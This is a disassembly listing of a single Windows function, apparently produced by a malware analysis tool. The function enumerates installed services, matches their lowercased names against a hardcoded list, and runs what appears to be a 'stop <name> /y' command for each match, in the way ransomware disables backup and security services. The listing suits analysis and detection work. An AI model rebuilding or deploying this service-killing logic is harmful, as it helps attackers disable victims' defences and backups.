Function at 0x7ff6fba6573c
Capabilities:
Allocate or change rwx memory
Create process on windows
Enumerate services

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x168]
sub rsp, 0x268
xor edx, edx
mov dword [rbp + 0x1c8], 0x30
xor ecx, ecx
lea r8d, [rdx + 4]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
xor r15d, r15d
mov qword [rsp + 0x48], rax
mov rsi, rax
test rax, rax
je 0x7ff6fba65b10
lea r14, [rbp + 0x1c8]
mov r13d, r15d
mov qword [rsp + 0x40], r14
mov edx, dword [r14]
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x38], rax
xor r9d, r9d
lea rax, [rbp + 0x1b8]
mov dword [rbp + 0x1b0], r15d
mov qword [rsp + 0x30], rax
mov rcx, rsi
lea rax, [rbp + 0x1b0]
mov dword [rbp + 0x1b8], r15d
mov qword [rsp + 0x28], rax
lea r8d, [r9 + 1]
mov dword [rsp + 0x20], r15d
mov dword [rbp + 0x1c0], r15d
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusW]
mov edi, dword [rbp + 0x1b0]
test edi, edi
je 0x7ff6fba65b10
mov r9d, 0x40
mov r8d, 0x1000
mov edx, edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
test rax, rax
je 0x7ff6fba65b10
test edi, edi
je 0x7ff6fba6582d
mov r8d, edi
xor edx, edx
mov rcx, rax
call fcn.7ff6fba6188c
mov edx, dword [r14]
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x38], rax
mov r9, r12
lea rax, [rbp + 0x1b8]
mov dword [rbp + 0x1b0], r15d
mov qword [rsp + 0x30], rax
mov r8d, 1
lea rax, [rbp + 0x1b0]
mov dword [rbp + 0x1b8], r15d
mov qword [rsp + 0x28], rax
mov rcx, rsi
mov dword [rsp + 0x20], edi
mov dword [rbp + 0x1c0], r15d
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusW]
test eax, eax
je 0x7ff6fba65aff
mov eax, dword [rbp + 0x1b8]
mov edi, r15d
test eax, eax
je 0x7ff6fba658f4
mov rbx, r12
mov r8, qword [rbx]
mov r14d, r15d
or rdx, 0xffffffffffffffff
inc rdx
cmp word [r8 + rdx*2], r15w
jne 0x7ff6fba658a1
test rdx, rdx
je 0x7ff6fba658ea
mov rsi, r15
movzx ecx, word [r8 + rsi]
call fcn.7ff6fba67d54
mov rcx, qword [rbx]
inc r14d
mov word [rsi + rcx], ax
lea rsi, [rsi + 2]
mov r8, qword [rbx]
or rcx, 0xffffffffffffffff
inc rcx
cmp word [r8 + rcx*2], r15w
jne 0x7ff6fba658d2
movsxd rax, r14d
cmp rax, rcx
jb 0x7ff6fba658b3
mov eax, dword [rbp + 0x1b8]
inc edi
add rbx, 0x30
cmp edi, eax
jb 0x7ff6fba65897
lea rdx, [0x7ff6fba89df0]
mov esi, r15d
mov rbx, rdx
jmp 0x7ff6fba65906
xor r15d, r15d
movsxd rax, esi
mov r14d, r15d
imul r15, rax, 0x208
or rax, 0xffffffffffffffff
add r15, rdx
xor r9d, r9d
inc rax
cmp word [r15 + rax*2], r9w
jne 0x7ff6fba6591d
test rax, rax
je 0x7ff6fba65961
mov rdi, rbx
movzx ecx, word [rdi]
call fcn.7ff6fba67d54
or rcx, 0xffffffffffffffff
mov word [rdi], ax
inc r14d
lea rdi, [rdi + 2]
xor r9d, r9d
inc rcx
cmp word [r15 + rcx*2], r9w
jne 0x7ff6fba65948
movsxd rax, r14d
cmp rax, rcx
jb 0x7ff6fba6592f
lea rdx, [0x7ff6fba89df0]
inc esi
lea rax, [0x7ff6fba91ff0]
add rbx, 0x208
cmp rbx, rax
jl 0x7ff6fba65903
mov r14, rdx
mov r15d, 0x40
mov edi, r9d
mov rsi, r9
cmp dword [rbp + 0x1b8], r9d
jbe 0x7ff6fba65aab
mov rbx, r12
mov rcx, qword [rbx]
or rdx, 0xffffffffffffffff
inc rdx
cmp word [r14 + rdx*2], r9w
jne 0x7ff6fba6599c
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], r9w
jne 0x7ff6fba659aa
cmp rax, rdx
jb 0x7ff6fba659ea
mov rdx, r14
call fcn.7ff6fba66bb4
xor r9d, r9d
test rax, rax
jne 0x7ff6fba65a01
mov rax, qword [rbx]
mov r8, r14
sub r8, rax
movzx ecx, word [rax]
movzx edx, word [rax + r8]
sub ecx, edx
jne 0x7ff6fba659e6
add rax, 2
test edx, edx
jne 0x7ff6fba659d2
test ecx, ecx
je 0x7ff6fba65a01
inc edi
inc rsi
add rbx, 0x30
cmp edi, dword [rbp + 0x1b8]
jae 0x7ff6fba65aab
jmp 0x7ff6fba65995
mov eax, dword [0x7ff6fba7e588]
lea rcx, [rsp + 0x50]
movsd xmm0, qword [str.stop__]
mov dword [rsp + 0x58], eax
movzx eax, word [0x7ff6fba7e58c]
mov word [rsp + 0x5c], ax
lea rax, [rsi + rsi*2]
add rax, rax
movsd qword [rsp + 0x50], xmm0
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], r9w
jne 0x7ff6fba65a35
mov r8, qword [r12 + rax*8]
xor edx, edx
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
inc rdx
test ax, ax
jne 0x7ff6fba65a45
lea rcx, [rsp + 0x50]
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], r9w
jne 0x7ff6fba65a5f
movsd xmm0, qword [str.___y]
lea r8, [0x7ff6fba7e5a0]
movzx eax, word [0x7ff6fba7e598]
xor edx, edx
movsd qword [rcx], xmm0
mov dword [rsp + 0x28], r9d
mov word [rcx + 8], ax
xor ecx, ecx
mov qword [rsp + 0x20], r9
lea r9, [rsp + 0x50]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x96
call qword [sym.imp.KERNEL32.dll_Sleep]
add r14, 0x208
mov r9d, 0
sub r15, 1
jne 0x7ff6fba6597f
xor edx, edx
mov r8d, 0x8000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r14, qword [rsp + 0x40]
inc r13d
mov rsi, qword [rsp + 0x48]
add r14, 4
mov qword [rsp + 0x40], r14
mov r15d, 0
cmp r13d, 1
jb 0x7ff6fba6579b
lea eax, [r15 + 1]
jmp 0x7ff6fba65b12
xor edx, edx
mov r8d, 0x8000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
add rsp, 0x268
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret